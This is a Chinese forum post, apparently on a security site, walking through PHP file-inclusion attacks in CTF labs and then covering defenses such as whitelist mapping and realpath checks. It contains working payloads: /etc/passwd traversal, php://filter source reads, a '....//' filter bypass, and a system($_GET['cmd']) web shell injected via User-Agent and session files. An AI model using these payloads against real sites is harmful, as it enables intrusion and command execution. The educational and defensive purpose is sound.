跳转到帖子

从一道 CTF 文件包含题看 PHP 伪协议利用与防护

精选回复

发布于

背景

文件包含是 CTF Web 题里很常见的一类入口,尤其是 PHP 环境下的 include、require、include_once。这类题不一定一上来就是 RCE,更多时候需要结合源码泄露、日志投毒、Session 文件、上传点、PHP 伪协议等方式逐步扩大影响。

本文以靶场/CTF 场景为前提,整理一套比较常用的分析流程。重点放在解题思路和可复现细节,不讨论未授权实战利用。

技术分析

典型易受影响代码如下:

<?php
$page = $_GET['page'] ?? 'home.php';
include($page);
?>

如果参数 page 没有做白名单限制,攻击者就可以控制被包含的文件路径。根据环境配置不同,常见利用方向包括:

  • 本地文件包含 LFI:读取或包含服务器本地文件,如 /etc/passwd、应用配置文件。
  • 源码读取:通过 php://filter 读取 PHP 源码,而不是执行它。
  • 日志包含:把可控内容写入 Web 日志,再包含日志文件执行。
  • Session 包含:控制 Session 内容,再包含 Session 文件。
  • 上传文件包含:上传图片马或文本文件,再通过包含触发执行。

操作步骤

1. 判断是否存在文件包含

先观察 URL 参数,例如:


尝试切换参数:

?page=home.php
?page=./home.php
?page=../../../../etc/passwd

如果返回内容发生明显变化,或者出现 PHP Warning,例如:

Warning: include(../../../../etc/passwd): failed to open stream

基本可以确认存在可控包含点。CTF 中即使关闭报错,也可以通过页面差异、HTTP 状态码、响应长度判断。

2. 使用 php://filter 读取源码

很多题目会把 flag 读取逻辑藏在 PHP 文件里。直接包含 PHP 文件会执行代码,不能看到源码。这时可以用 php://filter 做 Base64 编码读取:

?page=php://filter/read=convert.base64-encode/resource=index.php

返回结果通常是一段 Base64,解码即可看到源码:

echo 'PD9waHAKJGZsYWcgPSAnZmxhZ3s...' | base64 -d

如果文件名未知,可以优先尝试:

  • index.php
  • config.php
  • flag.php
  • db.php
  • class.php

3. 路径穿越与过滤绕过

部分题目会做简单过滤,例如禁止 ../,但过滤方式比较粗糙:

<?php
$page = str_replace('../', '', $_GET['page']);
include($page);
?>

这种情况下可以尝试嵌套绕过:

....//....//....//etc/passwd

因为 ....// 删除中间的 ../ 后,可能重新变成 ../。不同代码实现结果不一样,需要结合返回内容测试。

还可能遇到强制拼接后缀:

<?php
include($_GET['page'] . '.php');
?>

现代 PHP 已经很少能用空字节截断,CTF 中更常见的思路是读源码、寻找可包含文件,或者结合上传点让上传文件名满足后缀规则。

4. 日志包含思路

如果能包含 Web 日志,并且能控制写入日志的内容,就可能进一步执行 PHP 代码。常见日志路径:

/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log

写入方式通常是把 PHP 片段放到 User-Agent 中:

GET / HTTP/1.1
Host: target.test
User-Agent: <?php system($_GET['cmd']); ?>

随后访问:

?page=/var/log/apache2/access.log&cmd=id

注意:现在很多靶场会限制日志权限,或者 PHP-FPM 用户无权读取 Web 日志。如果读取失败,不要一直卡在日志方向,应该回头看源码和上传点。

5. Session 文件包含

PHP 默认 Session 文件常见路径:

/tmp/sess_{PHPSESSID}
/var/lib/php/sessions/sess_{PHPSESSID}

如果某个参数会写入 Session,例如:

<?php
session_start();
$_SESSION['name'] = $_GET['name'];
?>

可以先写入:

?name=<?php system($_GET['cmd']); ?>

假设 Cookie 中的 PHPSESSID=abc123,再包含:

?page=/tmp/sess_abc123&cmd=id

Session 包含在 CTF 里很常见,尤其适合那些没有上传点、日志不可读,但存在可控 Session 写入的题。

代码示例:本地复现一个最小靶场

可以用下面代码搭一个最小环境,便于理解 php://filter 的效果。

<?php
// index.php
$page = $_GET['page'] ?? 'home.php';

// 漏洞点:没有对白名单进行限制
include($page);
<?php
// home.php
echo "this is home page";
<?php
// flag.php
$flag = "flag{local_test_flag}";
echo "no flag here";

启动 PHP 内置服务:

php -S 127.0.0.1:8000

访问:


拿到 Base64 后解码,即可看到 flag.php 源码中的变量内容。

注意事项

  • 优先读源码:CTF 中不要急着打 RCE,很多题 flag 就在源码或配置文件里。
  • 区分读取和执行:php://filter 适合读源码;普通 include PHP 文件会执行,不会直接显示源码。
  • 关注路径基准:相对路径基于当前执行脚本所在目录,不一定是 Web 根目录。
  • 注意 open_basedir:如果配置了 open_basedir,很多系统路径会读不到,需要优先找应用目录内文件。
  • 看报错信息:Warning 中经常会泄露真实路径、拼接规则、后缀限制。
  • 不要忽略包含后缀:如果代码自动拼接 .php,payload 要按实际拼接结果调整。

防护建议

从开发角度看,文件包含问题最好不要靠黑名单修修补补,建议直接使用白名单映射:

<?php
$pages = [
    'home' => __DIR__ . '/pages/home.php',
    'about' => __DIR__ . '/pages/about.php',
];

$key = $_GET['page'] ?? 'home';

if (!isset($pages[$key])) {
    http_response_code(404);
    exit('page not found');
}

include $pages[$key];

同时建议:

  • 关闭生产环境错误回显,错误写入安全位置。
  • 禁用不必要的远程文件包含配置,如 allow_url_include。
  • 合理配置 open_basedir,限制 PHP 可访问目录。
  • 上传目录不要允许 PHP 解析。
  • 日志文件权限不要给 Web 运行用户读取。

总结

文件包含题的核心不是记 payload,而是判断包含点、确认路径规则、读取源码、再根据环境选择日志、Session、上传等利用链。实际做题时建议按“参数可控性 → 报错信息 → php://filter 读源码 → 敏感文件 → 可控写入点”的顺序推进,效率会比盲目 fuzz 高很多。

网络流量与边界分析示意图
网络请求、日志与边界流量分析示意
这类题里有个细节容易被忽略:只过滤 `../` 或只做后缀拼接,基本挡不住 `php://filter`。如果原题是类似这样:
$file = $_GET['file'];
include $file . '.php';
那不只是目录穿越问题,协议包装器本身就是入口。比如读源码常见写法:
php://filter/read=convert.base64-encode/resource=index
如果后面强制拼了 `.php`,最终会变成读取 `index.php`,base64 解码后就能看到源码。 防护上建议不要只靠黑名单过滤关键字,实际一点的做法是“白名单映射”,不要让用户输入直接进入 `include`:
$pages = [
    'home' => __DIR__ . '/pages/home.php',
    'about' => __DIR__ . '/pages/about.php',
];

$key = $_GET['page'] ?? 'home';

if (!isset($pages[$key])) {
    http_response_code(404);
    exit('not found');
}

include $pages[$key];
如果业务上确实要按文件名加载,也至少做规范化路径校验:
$base = realpath(__DIR__ . '/pages');
$name = $_GET['page'] ?? 'home';

if (!preg_match('/^[a-zA-Z0-9_-]+$/', $name)) {
    exit('bad request');
}

$path = realpath($base . '/' . $name . '.php');

if ($path === false || strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0) {
    exit('bad path');
}

include $path;
另外可以检查一下环境配置,虽然不能替代代码层防护,但能减少攻击面:
; php.ini
allow_url_fopen = Off
allow_url_include = Off
需要注意的是,`allow_url_include=Off` 主要影响远程 URL 包含,对 `php://filter` 这类本地流包装器的限制并不等同,所以核心还是不要把可控参数直接传给 `include/require`。 排查已有代码时可以先 grep 一下这些点:
grep -RInE "include|require|include_once|require_once" ./src
grep -RInE "\$_GET|\$_POST|\$_REQUEST" ./src
重点看是否存在参数拼接路径、后缀补全、简单 `str_replace('../','')` 这类逻辑。CTF 里经常就是利用这些“看似处理过”的地方。

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。

SiteMap HACKHAT © 2026 All rights reserved.